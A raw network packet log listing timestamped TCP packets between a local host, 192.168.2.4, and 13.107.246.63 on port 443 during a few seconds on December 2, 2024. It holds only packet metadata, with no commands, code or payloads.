Dec 2, 2024 04:59:43.931435108 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:43.943144083 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:43.946325064 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:43.946360111 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:43.946387053 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:43.946435928 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:43.946502924 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:43.946507931 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:43.946537971 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:43.946542025 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:43.949390888 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:43.949400902 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:43.949479103 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:43.949634075 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:43.949642897 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.020965099 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.024461031 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.024554014 CET	49968	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.024589062 CET	49968	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.024611950 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.024621010 CET	49968	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.024626017 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.026995897 CET	49973	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.027019024 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.027093887 CET	49973	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.027259111 CET	49973	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.027271032 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.269912004 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.270524979 CET	49970	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.270539045 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.270941019 CET	49970	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.270946026 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.383609056 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.387099028 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.387135983 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.387162924 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.387222052 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.387280941 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.387289047 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.387301922 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.387305975 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.390151024 CET	49974	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.390162945 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.390239954 CET	49974	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.390403032 CET	49974	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.390414000 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.723565102 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.726532936 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.726607084 CET	49970	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.726659060 CET	49970	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.726669073 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.726681948 CET	49970	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.726686954 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.729578972 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.729594946 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.729676008 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.729840040 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.729847908 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.816282988 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.816684008 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.816694975 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:44.817075014 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:44.817080975 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:45.269241095 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:45.272948027 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:45.272994995 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:45.273140907 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:45.273140907 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:45.274286985 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:45.274286985 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:45.274296045 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:45.274302959 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:45.276266098 CET	49976	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:45.276300907 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:45.276391029 CET	49976	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:45.276623011 CET	49976	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:45.276637077 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:45.729887009 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:45.730524063 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:45.730535030 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:45.730983973 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:45.730988979 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:45.741652966 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:45.742043972 CET	49973	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:45.742055893 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:45.742489100 CET	49973	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:45.742495060 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.170495987 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.170947075 CET	49974	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.170964956 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.171348095 CET	49974	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.171353102 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.173682928 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.176553965 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.176929951 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.176996946 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.177037001 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.177042961 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.177058935 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.177062988 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.179719925 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.179738998 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.179826975 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.179878950 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.179939032 CET	49973	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.179958105 CET	49973	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.179965973 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.179980040 CET	49973	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.179984093 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.180131912 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.180140018 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.182353020 CET	49978	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.182384014 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.182475090 CET	49978	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.182636023 CET	49978	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.182650089 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.446465015 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.446908951 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.446918964 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.447359085 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.447365046 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.614788055 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.617814064 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.617870092 CET	49974	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.617913008 CET	49974	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.617918968 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.617928028 CET	49974	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.617932081 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.620276928 CET	49979	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.620301008 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.620368004 CET	49979	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.620497942 CET	49979	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.620508909 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.882673979 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.885668993 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.885713100 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.885723114 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.885760069 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.885803938 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.885811090 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.885819912 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.885823011 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.891036034 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.891077042 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:46.891138077 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.891280890 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:46.891294956 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:47.058927059 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:47.059684992 CET	49976	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:47.059709072 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:47.060224056 CET	49976	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:47.060229063 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:47.504189014 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:47.507270098 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:47.507378101 CET	49976	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:47.507399082 CET	49976	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:47.507415056 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:47.507430077 CET	49976	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:47.507435083 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:47.510024071 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:47.510055065 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:47.510119915 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:47.510251045 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:47.510267019 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:47.898564100 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:47.899144888 CET	49978	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:47.899162054 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:47.899607897 CET	49978	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:47.899614096 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:47.959952116 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:47.960481882 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:47.960493088 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:47.960896015 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:47.960900068 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.333489895 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.337357998 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.337420940 CET	49978	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.337450981 CET	49978	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.337466955 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.337477922 CET	49978	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.337483883 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.340221882 CET	49982	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.340261936 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.340338945 CET	49982	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.340513945 CET	49982	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.340528965 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.403769016 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.407387018 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.407427073 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.407438040 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.407478094 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.407515049 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.407525063 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.407535076 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.407538891 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.409625053 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.409640074 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.409704924 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.409799099 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.409809113 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.475445032 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.475817919 CET	49979	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.475831985 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.476227045 CET	49979	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.476233006 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.611278057 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.611720085 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.611736059 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.612142086 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.612145901 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.929661036 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.934967041 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.935025930 CET	49979	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.935080051 CET	49979	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.935091972 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.935101032 CET	49979	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.935106993 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.937462091 CET	49984	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.937474012 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:48.937546968 CET	49984	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.937669039 CET	49984	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:48.937679052 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:49.046185970 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:49.049272060 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:49.049355984 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:49.049391031 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:49.049407005 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:49.049416065 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:49.049421072 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:49.052145958 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:49.052170038 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:49.052265882 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:49.052424908 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:49.052438021 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:49.289860964 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:49.290303946 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:49.290314913 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:49.290750027 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:49.290755033 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:49.734046936 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:49.737462997 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:49.737504005 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:49.737643003 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:49.737643003 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:49.737643003 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:49.738296986 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:49.738303900 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:49.740184069 CET	49986	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:49.740197897 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:49.740274906 CET	49986	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:49.740464926 CET	49986	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:49.740474939 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.055284977 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.055852890 CET	49982	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.055876017 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.056214094 CET	49982	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.056219101 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.124103069 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.124542952 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.124556065 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.124830008 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.124835014 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.492115021 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.495219946 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.495282888 CET	49982	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.495332956 CET	49982	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.495347977 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.495357990 CET	49982	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.495362997 CET	443	49982	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.498156071 CET	49987	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.498176098 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.498246908 CET	49987	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.498373985 CET	49987	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.498387098 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.559151888 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.562640905 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.562676907 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.562694073 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.562726974 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.562767029 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.562776089 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.562783003 CET	49983	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.562787056 CET	443	49983	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.564948082 CET	49988	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.564966917 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.565193892 CET	49988	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.565193892 CET	49988	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.565222025 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.716567993 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.717102051 CET	49984	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.717109919 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.717453957 CET	49984	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.717458963 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.836121082 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.836709976 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.836735964 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:50.837194920 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:50.837199926 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:51.160587072 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:51.163691998 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:51.163757086 CET	49984	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:51.163798094 CET	49984	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:51.163804054 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:51.163832903 CET	49984	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:51.163836956 CET	443	49984	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:51.166285992 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:51.166321993 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:51.166389942 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:51.166515112 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:51.166528940 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:51.280584097 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:51.283718109 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:51.283780098 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:51.283837080 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:51.283852100 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:51.283864021 CET	49985	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:51.283869028 CET	443	49985	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:51.285864115 CET	49990	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:51.285885096 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:51.285950899 CET	49990	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:51.286062956 CET	49990	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:51.286075115 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:51.584913969 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:51.585369110 CET	49986	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:51.585388899 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:51.585803032 CET	49986	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:51.585808039 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.038675070 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.041915894 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.041992903 CET	49986	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.042047977 CET	49986	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.042061090 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.042071104 CET	49986	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.042076111 CET	443	49986	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.044471979 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.044528008 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.044585943 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.044761896 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.044778109 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.279510975 CET	443	49987	13.107.246.63	192.168.2.4
